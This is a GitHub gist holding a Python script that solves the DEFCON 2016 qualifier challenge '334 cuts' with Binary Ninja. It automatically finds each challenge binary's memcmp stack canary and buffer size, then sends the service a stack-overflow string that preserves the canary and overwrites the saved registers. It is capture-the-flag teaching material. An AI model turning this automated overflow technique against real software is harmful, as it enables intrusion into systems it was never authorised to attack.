Last active
March 26, 2023 16:22
-
-
Save withzombies/3d7e2b077ba5af48ab1ba96678733e6f to your computer and use it in GitHub Desktop.
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
try: | |
import binaryninja | |
except ImportError: | |
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/") | |
import binaryninja | |
import time | |
import socket | |
import base64 | |
s = socket.socket() | |
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334)) | |
print "Msg: " + s.recv(1024) | |
def readUntil(s, delim): | |
msg = "" | |
while delim not in msg: | |
msg += s.recv(1) | |
return msg | |
msg = readUntil(s, '\n') | |
while True: | |
# They send us the challenge name to process. | |
msg = readUntil(s, '\n') | |
if 'segfault' in msg: | |
print msg | |
break | |
chal = msg.strip() | |
# Open a binary view to the challenge as an elf | |
print "Analyzing {0}".format(chal) | |
bv = binaryninja.BinaryViewType["ELF"].open(chal) | |
bv.update_analysis() | |
time.sleep(0.1) # bandaid until there's blocking analysis | |
# start at the entry point | |
print "Entry Point: {0:x}".format(bv.entry_point) | |
entry = bv.entry_function # Get the entry point as a function object | |
start = None | |
# Iterate over the basic blocks in the entry function | |
entry_calls = [] | |
for block in entry.low_level_il: | |
# Iterate over the basic blocks getting il instructions | |
for il in block: | |
# We only care about calls | |
if il.operation == binaryninja.core.LLIL_CALL: | |
entry_calls.append(il) | |
start_call = entry_calls[1] | |
start = bv.get_function_at(bv.platform, start_call.operands[0].value) | |
print "start: {0}".format(start) | |
# Do the same thing with main, it's the first call in start | |
main = None | |
for block in start.low_level_il: | |
for il in block: | |
if il.operation != binaryninja.core.LLIL_CALL: | |
continue | |
main = bv.get_function_at(bv.platform, il.operands[0].value) | |
print "main: {0}".format(main) | |
# Collect all the call instructions in main | |
calls = [] | |
for block in main.low_level_il: | |
for il in block: | |
if il.operation == binaryninja.core.LLIL_CALL: | |
calls.append(il) | |
# If there are 5 calls, then the memcmp is the second call. With 6 calls its the 3rd. | |
if len(calls) == 5: | |
read_buf = calls[0] | |
memcmp = calls[1] | |
else: | |
read_buf = calls[1] | |
memcmp = calls[2] | |
# Query the parameters to the memcmp | |
# memcmp(dst, src, length) | |
canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0) | |
canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1) | |
canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2) | |
# Use that to read the canary | |
canary = bv.read(canary_address.value, canary_width.value) | |
buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0) | |
# The canary is between the buffer and the saved stack registers | |
buffer_size = (buffer_frame.offset - canary_frame.offset) * -1 | |
print buffer_size | |
# Fill up the buffer | |
crash_string = "a" * buffer_size | |
# Append the checked bytes of the canary check (it's always 4) | |
crash_string += canary[:canary_width.value] | |
# Pad out the rest of the string canary buffer | |
crash_string += "a" * ((canary_frame.offset * - 1) - canary_width.value) | |
# overwrite the saved registers | |
crash_string += 'eeee' | |
crash_string += '\n' | |
# Send the crashing string to the service | |
b64 = base64.b64encode(crash_string) | |
print chal, canary, crash_string.strip(), b64 | |
# Send the crashing string | |
s.send(b64 + "\n") | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment